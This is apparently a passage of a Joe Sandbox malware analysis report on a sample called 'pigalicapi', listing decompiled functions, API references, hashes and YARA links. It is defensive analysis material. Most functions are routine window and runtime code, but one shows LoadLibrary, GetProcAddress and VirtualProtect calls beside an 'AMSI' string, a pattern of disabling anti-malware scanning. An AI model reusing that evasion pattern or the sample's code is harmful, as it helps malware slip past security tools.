					_t47 = E00815DE2(_t47);
					 *((intOrPtr*)(_t71 + 8)) = 0;
				}
				 *((intOrPtr*)(_t71 + 0x10)) = 0;
				 *((intOrPtr*)(_t71 + 0xc)) = 0;
				 *[fs:0x0] = _v16;
				return _t47;
			}

0x0080ba03
0x0080ba05
0x0080ba10
0x0080ba14
0x0080ba1b
0x0080ba1f
0x0080ba25
0x0080ba28
0x0080ba2f
0x0080ba3d
0x0080ba3f
0x0080ba42
0x0080ba50
0x0080ba52
0x0080ba55
0x0080ba64
0x0080ba6c
0x0080ba6f
0x0080ba6f
0x0080ba64
0x0080ba50
0x0080ba72
0x0080ba72
0x0080ba7c
0x0080ba84
0x0080ba84
0x0080ba8a
0x0080ba8a
0x0080ba8f
0x0080ba92
0x0080ba92
0x0080ba98
0x0080ba98
0x0080baa0
0x0080baad
0x0080baad
0x0080bab3
0x0080bab3
0x0080bab8
0x0080babb
0x0080babb
0x0080bac0
0x0080bac0
0x0080bac5
0x0080bac8
0x0080bacd
0x0080bad0
0x0080bad0
0x0080bad3
0x0080bad6
0x0080bad9
0x0080badc
0x0080badc
0x0080bae1
0x0080bae4
0x0080bae4
0x0080bae9
0x0080bae9
0x0080baee
0x0080baf1
0x0080baf6
0x0080baf9
0x0080baf9
0x0080bafc
0x0080baff
0x0080bb02
0x0080bb02
0x0080bb07
0x0080bb0a
0x0080bb12
0x0080bb12
0x0080bb15
0x0080bb18
0x0080bb1e
0x0080bb2c

APIs

IsWindow.USER32(CCCC0004), ref: 0080BA33
GetWindowLongA.USER32 ref: 0080BA48
SetWindowLongA.USER32 ref: 0080BA5C
DestroyMenu.USER32(00001F34,?,00809A84), ref: 0080BA84
ImageList_Destroy.COMCTL32(010845F6,?,00809A84), ref: 0080BA92
DeleteObject.GDI32(FC45C700), ref: 0080BAA3

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Window$DestroyLong$DeleteImageList_MenuObject
String ID:
API String ID: 2453398382-0
Opcode ID: 26126f5e309eab5ab73eef636bcff60e0647cd3e1b1f387cee6e68d6022ea630
Instruction ID: efad6145cf50ffeb84867a26bd033eb79c6b9d17b935f7dc10baa6e0946882f7
Opcode Fuzzy Hash: 26126f5e309eab5ab73eef636bcff60e0647cd3e1b1f387cee6e68d6022ea630
Instruction Fuzzy Hash: 184129B1A01B109FC731DF6ADC84A1BF7E9FF94710B248A1AE892C3A91D775E9408B10

Uniqueness

Uniqueness Score: -1.00%

Function 00806860 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00806860(intOrPtr* __ecx, intOrPtr* __esi, intOrPtr _a4) {
				signed int _v12;
				struct tagENHMETAHEADER _v164;
				intOrPtr _v168;
				intOrPtr _v172;
				struct HENHMETAFILE__* _v176;
				intOrPtr* _v180;
				int _v184;
				int _v188;
				int _v192;
				void* __ebx;
				void* __edi;
				signed int _t40;
				intOrPtr _t42;
				signed int _t46;
				signed int _t48;
				int _t49;
				int _t50;
				intOrPtr _t58;
				intOrPtr* _t66;
				int _t68;
				int _t75;
				int _t76;
				intOrPtr* _t77;
				int _t83;
				intOrPtr _t85;
				int _t88;
				intOrPtr* _t89;
				signed int _t90;

				_t89 = __esi;
				_t40 =  *0x869060; // 0xda7e2511
				_v12 = _t40 ^ _t90;
				_t42 = _a4;
				_t68 =  *((intOrPtr*)(__esi + 0xc)) -  *((intOrPtr*)(__esi + 4));
				_t88 =  *((intOrPtr*)(__esi + 8)) -  *__esi;
				_v180 = __ecx;
				if(_t88 >= 0 && _t68 >= 0) {
					_v176 =  *((intOrPtr*)(_t42 + 8));
					_v172 = 0;
					_v168 = 0;
					E00816820( &_v164, 0, 0x6c);
					_v164.iType = 1;
					_v164.nSize = 0x6c;
					_t46 = GetEnhMetaFileHeader(_v176, 0x6c,  &_v164);
					asm("sbb eax, eax");
					_t48 =  ~_t46 &  &_v164;
					_t75 =  *(_t48 + 0x48);
					_t49 =  *(_t48 + 0x4c);
					_v184 = _t75;
					_v192 = _t49;
					_t50 = MulDiv(_t88, _t49, _t75);
					_t83 = _v192;
					_v188 = _t50;
					_t76 = MulDiv(_t68, _v184, _t83);
					if(_t76 > _t88) {
						_t77 = _v180;
						_t88 = _v188;
						 *_t77 =  *__esi;
						_t80 =  *((intOrPtr*)(__esi + 8));
						 *((intOrPtr*)(_t77 + 8)) = _t80;
						asm("cdq");
						_t58 = (_t68 - _t88 - _t80 >> 1) +  *((intOrPtr*)(__esi + 4));
						 *((intOrPtr*)(_t77 + 4)) = _t58;
						 *((intOrPtr*)(_t77 + 0xc)) = _t58 + _t88;
					} else {
						asm("cdq");
						_t85 =  *__esi + (_t88 - _t76 - _t83 >> 1);
						_t66 = _v180;
						 *_t66 = _t85;
						 *((intOrPtr*)(_t66 + 8)) = _t85 + _t76;
						 *((intOrPtr*)(_t66 + 4)) =  *((intOrPtr*)(__esi + 4));
						_t80 =  *((intOrPtr*)(__esi + 0xc));
						 *((intOrPtr*)(_t66 + 0xc)) =  *((intOrPtr*)(__esi + 0xc));
					}
					_push(_v172);
					E008162C2();
					_push(_v168);
					_t42 = E008162C2();
				}
				return E008159E6(_t42, _t68, _v12 ^ _t90, _t80, _t88, _t89);
			}

0x00806860
0x00806869
0x00806870
0x00806873
0x0080687a
0x00806881
0x00806883
0x0080688d
0x008068a8
0x008068ae
0x008068b4
0x008068ba
0x008068d2
0x008068dc
0x008068e6
0x008068ee
0x008068f6
0x008068f8
0x008068fb
0x00806901
0x00806907
0x0080690d
0x00806913
0x00806919
0x0080692e
0x00806932
0x0080695e
0x00806964
0x0080696a
0x0080696c
0x00806973
0x00806976
0x0080697b
0x0080697e
0x00806983
0x00806934
0x00806938
0x0080693f
0x00806941
0x00806947
0x0080694b
0x00806951
0x00806954
0x00806957
0x00806957
0x0080698c
0x0080698d
0x00806998
0x00806999
0x0080699e
0x008069b0

APIs

_memset.LIBCMT ref: 008068BA
GetEnhMetaFileHeader.GDI32(?,0000006C,?), ref: 008068E6
MulDiv.KERNEL32(?,?,?), ref: 0080690D
MulDiv.KERNEL32(?,?,?), ref: 00806928

Strings

l, xrefs: 008068DC

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: FileHeaderMeta_memset
String ID: l
API String ID: 711141002-2517025534
Opcode ID: 70da631332a1cc4f3ae9812e00ecbbdce122c8448219450355b5c90d6a1fa1d3
Instruction ID: 354ceec4934848629f03267fc242477202225a0ce43707305a1c41e23ab287c6
Opcode Fuzzy Hash: 70da631332a1cc4f3ae9812e00ecbbdce122c8448219450355b5c90d6a1fa1d3
Instruction Fuzzy Hash: 3A410A75A003189FD724CF28CC45B9ABBB6FF88300F1481ADA58DD7351EA71A995CF51

Uniqueness

Uniqueness Score: -1.00%

Function 02B524F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32(02B54070,00000000,00000800), ref: 02B52509
GetProcAddress.KERNEL32(00000000,02B54078), ref: 02B52525
VirtualProtect.KERNEL32(?,00000004,00000040,?), ref: 02B52560
VirtualProtect.KERNEL32(?,00000004,?,?), ref: 02B52581

Strings

AMSI, xrefs: 02B5254C

Memory Dump Source

Source File: 00000001.00000002.718905728.0000000002B51000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B51000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2b51000_pigalicapi.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID: AMSI
API String ID: 3300690313-3828877684
Opcode ID: 46cec33a32c67518502f09911daf35c69ca63372281ea18474deeb5da5de3329
Instruction ID: 8d5c93078ceb3a0a21b2f01cc2675f9efb1ac254bb84c5af711eb07368a308b0
Opcode Fuzzy Hash: 46cec33a32c67518502f09911daf35c69ca63372281ea18474deeb5da5de3329
Instruction Fuzzy Hash: 7C11E4B5E41319EFDB04CF94D865BAEBBB4FF48300F248598EA02AB340D770AA50CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00808380 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 48
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00808380(void* __eax, void* __eflags, CHAR* _a4, CHAR* _a8) {
				void* __edi;
				void* _t21;
				void* _t26;
				void* _t27;

				_t26 = __eax;
				_t27 = __eax + 0x250;
				_t21 = E008071E0(_a4, _t27);
				if(_t21 == 0) {
					MessageBoxA( *(_t26 + 4), "Error reading file!\n", 0x82293e, 0);
					return _t21;
				} else {
					lstrcpyA(_t27 + 0x58, _a4);
					lstrcpyA(_t27 + 0x15c, _a8);
					SendMessageA( *(_t27 + 4), 0xb9, 0, 0);
					E00808160(_t26);
					return _t21;
				}
			}

0x00808386
0x0080838b
0x00808397
0x0080839b
0x008083ed
0x008083f9
0x0080839d
0x008083a5
0x008083b6
0x008083c9
0x008083cf
0x008083da
0x008083da

APIs

Part of subcall function 008071E0: CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,08000080,00000000), ref: 008071FA

lstrcpyA.KERNEL32(?,?,?,?,?,?,00808327,?,?), ref: 008083A5
lstrcpyA.KERNEL32(?,00822D54,?,?,?,?,00808327,?,?), ref: 008083B6
SendMessageA.USER32 ref: 008083C9

Part of subcall function 00808160: lstrlenA.KERNEL32(?,?,?), ref: 00808182
Part of subcall function 00808160: LoadStringA.USER32 ref: 008081A2
Part of subcall function 00808160: lstrlenA.KERNEL32(?,?,?), ref: 008081AF
Part of subcall function 00808160: lstrcpyA.KERNEL32(?,?,?,?), ref: 008081C4
Part of subcall function 00808160: lstrcatA.KERNEL32(?,00822A2C), ref: 008081DF
Part of subcall function 00808160: lstrcatA.KERNEL32(?, - ), ref: 008081E7
Part of subcall function 00808160: lstrcatA.KERNEL32(?,?,?, - ), ref: 008081F1
Part of subcall function 00808160: SetWindowTextA.USER32(?), ref: 008081F8

MessageBoxA.USER32 ref: 008083ED

Strings

Error reading file!, xrefs: 008083E7

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: lstrcatlstrcpy$Messagelstrlen$CreateFileLoadSendStringTextWindow
String ID: Error reading file!
API String ID: 3921680268-1254819211
Opcode ID: e944470cf28009c51f2dbdccb4b94a161f69d8af6ea9e8106e9f1ee66ee65541
Instruction ID: 58d57107b2166bce395f2192f2bc1d6594680cc5e287fe9fce952ae4bca696dc
Opcode Fuzzy Hash: e944470cf28009c51f2dbdccb4b94a161f69d8af6ea9e8106e9f1ee66ee65541
Instruction Fuzzy Hash: B8016737300704BBD3209B99EC85F87B79CFB88710F10811AF655D7290C670E4558B90

Uniqueness

Uniqueness Score: -1.00%

Function 0081E9AE Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 27%

			E0081E9AE(void* __ebx, void* __ecx, intOrPtr* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* __ebp;
				void* _t20;
				void* _t22;
				void* _t23;
				void* _t25;
				intOrPtr* _t26;
				void* _t27;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t23 = __ecx;
				_t22 = __ebx;
				_t30 = _a20;
				if(_a20 != 0) {
					_push(_a20);
					_push(__ebx);
					_push(__esi);
					_push(_a4);
					E0081E91C(__ebx, __edi, __esi, _t30);
					_t28 = _t28 + 0x10;
				}
				_t31 = _a28;
				_push(_a4);
				if(_a28 != 0) {
					_push(_a28);
				} else {
					_push(_t27);
				}
				E0081DF11(_t23);
				_push( *_t26);
				_push(_a16);
				_push(_a12);
				_push(_t27);
				E0081E39E(_t22, _t25, _t26, _t27, _t31);
				_push(0x100);
				_push(_a24);
				_push(_a16);
				 *((intOrPtr*)(_t27 + 8)) =  *((intOrPtr*)(_t26 + 4)) + 1;
				_push(_a8);
				_t14 = _t22 + 0xc; // 0x6e
				_push(_t27);
				_push(_a4);
				_t20 = E0081E601(_t22,  *_t14, _t26, _t27, _t31);
				if(_t20 != 0) {
					E0081DED8(_t20, _t27);
					return _t20;
				}
				return _t20;
			}

0x0081e9ae
0x0081e9ae
0x0081e9ae
0x0081e9ae
0x0081e9b3
0x0081e9b7
0x0081e9b9
0x0081e9bc
0x0081e9bd
0x0081e9be
0x0081e9c1
0x0081e9c6
0x0081e9c6
0x0081e9c9
0x0081e9cd
0x0081e9d0
0x0081e9d5
0x0081e9d2
0x0081e9d2
0x0081e9d2
0x0081e9d8
0x0081e9dd
0x0081e9df
0x0081e9e2
0x0081e9e5
0x0081e9e6
0x0081e9ee
0x0081e9f3
0x0081e9f7
0x0081e9fa
0x0081e9fd
0x0081ea00
0x0081ea03
0x0081ea04
0x0081ea07
0x0081ea11
0x0081ea15
0x00000000
0x0081ea15
0x0081ea1b

APIs

___BuildCatchObject.LIBCMT ref: 0081E9C1

Part of subcall function 0081E91C: ___BuildCatchObjectHelper.LIBCMT ref: 0081E952

_UnwindNestedFrames.LIBCMT ref: 0081E9D8
___FrameUnwindToState.LIBCMT ref: 0081E9E6

Strings

csm, xrefs: 0081E9B0
csm, xrefs: 0081E9BD, 0081E9D2, 0081E9E5, 0081EA03, 0081EA13

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm$csm
API String ID: 2163707966-3733052814
Opcode ID: a3b6e0bba8c6188151cdd87e1afa2bcb579a1f25e0b14c436fbadd08ef490303
Instruction ID: 7a40d8348e23d99ebde1c7802b7f74d2dc73f77e0d5694097916ffb9e6e79311
Opcode Fuzzy Hash: a3b6e0bba8c6188151cdd87e1afa2bcb579a1f25e0b14c436fbadd08ef490303
Instruction Fuzzy Hash: B301F271000219BBDF22AF55CC45EEA7FAEFF18350F044010BD58A5122DB3699B1EBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00808220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00808220(void* __eax, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* _t7;
				void* _t15;
				void* _t20;

				_t20 = __eax;
				_t7 = E008072C0(_t15, __eax + 0x250);
				if(_t7 != 0) {
					SetWindowTextA( *(_t20 + 0x254), 0);
					lstrcpyA(_t20 + 0x2a8, 0x82293e);
					lstrcpyA(_t20 + 0x3ac, "Untitled");
					SendMessageA( *(_t20 + 0x254), 0xb9, 0, 0);
					return E00808160(_t20);
				}
				return _t7;
			}

0x00808223
0x0080822b
0x00808232
0x0080823d
0x00808255
0x00808263
0x00808275
0x00000000
0x0080827b
0x00808283

APIs

Part of subcall function 008072C0: SendMessageA.USER32 ref: 008072E4
Part of subcall function 008072C0: GetParent.USER32(?), ref: 008072F2
Part of subcall function 008072C0: wsprintfA.USER32 ref: 0080730D
Part of subcall function 008072C0: MessageBoxA.USER32 ref: 00807325

SetWindowTextA.USER32(?,00000000), ref: 0080823D
lstrcpyA.KERNEL32(?,0082293E,?,?,?,00807AB8), ref: 00808255
lstrcpyA.KERNEL32(?,Untitled,?,?,?,00807AB8), ref: 00808263
SendMessageA.USER32 ref: 00808275

Part of subcall function 00808160: lstrlenA.KERNEL32(?,?,?), ref: 00808182
Part of subcall function 00808160: LoadStringA.USER32 ref: 008081A2
Part of subcall function 00808160: lstrlenA.KERNEL32(?,?,?), ref: 008081AF
Part of subcall function 00808160: lstrcpyA.KERNEL32(?,?,?,?), ref: 008081C4
Part of subcall function 00808160: lstrcatA.KERNEL32(?,00822A2C), ref: 008081DF
Part of subcall function 00808160: lstrcatA.KERNEL32(?, - ), ref: 008081E7
Part of subcall function 00808160: lstrcatA.KERNEL32(?,?,?, - ), ref: 008081F1
Part of subcall function 00808160: SetWindowTextA.USER32(?), ref: 008081F8

Strings

Untitled, xrefs: 00808257

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Messagelstrcatlstrcpy$SendTextWindowlstrlen$LoadParentStringwsprintf
String ID: Untitled
API String ID: 3036718229-1345941684
Opcode ID: 2754440e29f508a3261562598e60288f136f59675830730ed70db7a9c6f11bc6
Instruction ID: 72885648162eaa48f54f0e6221f21c0a4ed65b4d2ce86085abcb23ec83ae5346
Opcode Fuzzy Hash: 2754440e29f508a3261562598e60288f136f59675830730ed70db7a9c6f11bc6
Instruction Fuzzy Hash: 36F08C72300A01BBD628A7B4DC89F96F368FF84701F004114B355D61D0CF74A8A48BA8

Uniqueness

Uniqueness Score: -1.00%

Function 04009290 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 21
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E04009290() {
				char _v8;
				_Unknown_base(*)()* _v12;

				_v8 = 0;
				_v12 = GetProcAddress(GetModuleHandleA("kernel32.dll"), "IsWow64Process");
				if(_v12 != 0) {
					_v12(GetCurrentProcess(),  &_v8);
				}
				return _v8;
			}

0x04009296
0x040092b4
0x040092bb
0x040092c8
0x040092c8
0x040092d1

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,IsWow64Process), ref: 040092A7
GetProcAddress.KERNEL32(00000000), ref: 040092AE
GetCurrentProcess.KERNEL32(00000000), ref: 040092C1

Strings

IsWow64Process, xrefs: 0400929D
kernel32.dll, xrefs: 040092A2

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: AddressCurrentHandleModuleProcProcess
String ID: IsWow64Process$kernel32.dll
API String ID: 4190356694-3024904723
Opcode ID: 38042a03575f21376aceb1f4956717d964388ed776961314cc3b8e9b1f133714
Instruction ID: 4f9345edf5834c8cb0bc8acfac962fe0122c83c58fee2cee7c9637e45e33d241
Opcode Fuzzy Hash: 38042a03575f21376aceb1f4956717d964388ed776961314cc3b8e9b1f133714
Instruction Fuzzy Hash: D5E09275D04308EBEB04DFF4D94DB9D7B78EB08205F504694E545B2140D6786A54CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00813810 Relevance: 7.6, APIs: 5, Instructions: 119
windowCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E00813810(intOrPtr* __ecx, char _a4) {
				char _v8;
				char _v16;
				CHAR* _v20;
				long _v24;
				signed int _t28;
				long _t35;
				CHAR** _t39;
				intOrPtr _t43;
				CHAR** _t51;
				CHAR* _t66;
				void* _t72;
				intOrPtr* _t75;
				CHAR* _t77;
				LONG* _t78;
				signed int _t79;
				void* _t80;
				void* _t81;

				_push(0xffffffff);
				_push(E0081F3E0);
				_push( *[fs:0x0]);
				_t81 = _t80 - 8;
				_t28 =  *0x869060; // 0xda7e2511
				_push(_t28 ^ _t79);
				 *[fs:0x0] =  &_v16;
				_t75 = __ecx;
				if(__ecx == 0) {
					_t72 = 0;
				} else {
					_t2 = _t75 - 0x24; // 0x0
					_t72 = _t2;
				}
				E00813C60( &_v24, 2);
				_v8 = 0;
				_t57 = _v24;
				if( *((intOrPtr*)(_v24 - 8)) <= 0) {
					MessageBeep(0x10);
				} else {
					_t66 =  *0x86ad30; // 0x86ad2c
					_v20 = _t66;
					_v8 = 1;
					E008058F0( &_v20, _t57, _a4);
					_t81 = _t81 + 8;
					_push(3);
					if( *_t75 == 0) {
						_push( &_a4);
						_t39 = E00813C60();
						_t77 = _v20;
						MessageBoxA( *(_t72 + 4), _t77,  *_t39, 0x40);
					} else {
						_push( &_a4);
						_t51 = E00813C60();
						_t77 = _v20;
						MessageBoxA( *( *_t75 + 4), _t77,  *_t51, 0x40);
					}
					_t43 = _a4;
					_t18 = _t43 - 0xc; // -11
					if(_t18 != 0x86ad20 && InterlockedDecrement(_t43 + 0xfffffff4) <= 0) {
						_push(_a4 + 0xfffffff4);
						E008162C2();
						_t81 = _t81 + 4;
					}
					_v8 = 0;
					if(_t77 - 0xc != 0x86ad20) {
						_t78 =  &(_t77[0xfffffffffffffff4]);
						if(InterlockedDecrement(_t78) <= 0) {
							_push(_t78);
							E008162C2();
							_t81 = _t81 + 4;
						}
					}
				}
				_v8 = 0xffffffff;
				_t35 = _v24;
				if(_t35 - 0xc != 0x86ad20) {
					_t35 = InterlockedDecrement(_t35 + 0xfffffff4);
					if(_t35 <= 0) {
						_push(_v24 + 0xfffffff4);
						_t35 = E008162C2();
					}
				}
				 *[fs:0x0] = _v16;
				return _t35;
			}

0x00813813
0x00813815
0x00813820
0x00813821
0x00813827
0x0081382e
0x00813832
0x00813838
0x0081383c
0x00813843
0x0081383e
0x0081383e
0x0081383e
0x0081383e
0x0081384b
0x00813850
0x00813857
0x00813865
0x00813912
0x0081386b
0x0081386b
0x00813871
0x00813874
0x00813880
0x00813885
0x0081388b
0x0081388d
0x008138ac
0x008138ad
0x008138b4
0x008138bf
0x0081388f
0x00813892
0x00813893
0x0081389c
0x008138bf
0x008138bf
0x008138c5
0x008138c8
0x008138d1
0x008138e3
0x008138e4
0x008138e9
0x008138e9
0x008138ef
0x008138f9
0x008138fb
0x00813903
0x00813905
0x00813906
0x0081390b
0x0081390b
0x00813903
0x008138f9
0x00813918
0x0081391f
0x0081392b
0x00813931
0x00813935
0x0081393d
0x0081393e
0x00813943
0x00813935
0x00813949
0x00813957

APIs

MessageBoxA.USER32 ref: 008138BF
InterlockedDecrement.KERNEL32(-000000F3), ref: 008138D7
InterlockedDecrement.KERNEL32(?), ref: 008138FF
MessageBeep.USER32(00000010), ref: 00813912
InterlockedDecrement.KERNEL32(?), ref: 00813931

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: DecrementInterlocked$Message$Beep
String ID:
API String ID: 3609174286-0
Opcode ID: 8be8541f4727cfb90b5f9db477dc8aa1c14e16af9475202356281236d405c8ae
Instruction ID: 60d41f8dbf849be7b38fe50480c3a6a72125975edb29029da4a970a109dc5134
Opcode Fuzzy Hash: 8be8541f4727cfb90b5f9db477dc8aa1c14e16af9475202356281236d405c8ae
Instruction Fuzzy Hash: 4E41B3B2904609ABD714CB68CC85F9AB76CFF05320F108624F925E7391E774AE44CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04007250 Relevance: 7.6, APIs: 5, Instructions: 113
registrytimeCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E04007250(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				char* _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				char _v40;
				int _v44;
				int _v48;
				char _v64;
				signed int _v68;
				intOrPtr* _v72;
				struct _SYSTEMTIME _v88;
				char* _t58;
				intOrPtr* _t68;
				short* _t69;
				signed int _t70;
				intOrPtr* _t91;
				void* _t97;
				void* _t100;
				intOrPtr* _t101;

				_v5 = 1;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 ||  *((intOrPtr*)(_a4 + 0x10)) == 0) {
					L12:
					return _v5;
				} else {
					_v24 = E040016F0(_a8, _a12);
					_t58 =  *0x40118a0; // 0x4013b88
					_v12 = _t58;
					E04007D20(_t58,  &_v40, 0, 0x10);
					wsprintfA( &_v40, "%u", _v24);
					_t100 = _t97 + 0x20;
					_v16 = 0x80000001;
					if(( *0x401435a & 0x000000ff) != 0) {
						_v16 = 0x80000002;
					}
					_v20 = 0;
					if(RegOpenKeyExA(_v16, _v12, 0, 0xf003f,  &_v20) == 0) {
						_v48 = 0x10;
						_v44 = 0x10;
						if(RegQueryValueExA(_v20,  &_v40, 0, 0,  &_v64,  &_v44) == 0 && _v44 == 0x10) {
							_v72 =  &_v64;
							GetLocalTime( &_v88);
							_t91 = _v72;
							_t101 = _t100 - 0x10;
							_t68 = _t101;
							 *_t68 =  *_t91;
							 *((intOrPtr*)(_t68 + 4)) =  *((intOrPtr*)(_t91 + 4));
							 *((intOrPtr*)(_t68 + 8)) =  *((intOrPtr*)(_t91 + 8));
							 *((intOrPtr*)(_t68 + 0xc)) =  *((intOrPtr*)(_t91 + 0xc));
							_t69 = _t101 - 0x10;
							 *_t69 = _v88.wYear;
							_t69[2] = _v88.wDayOfWeek;
							_t69[4] = _v88.wHour;
							_t69[6] = _v88.wSecond;
							_t70 = E04009910();
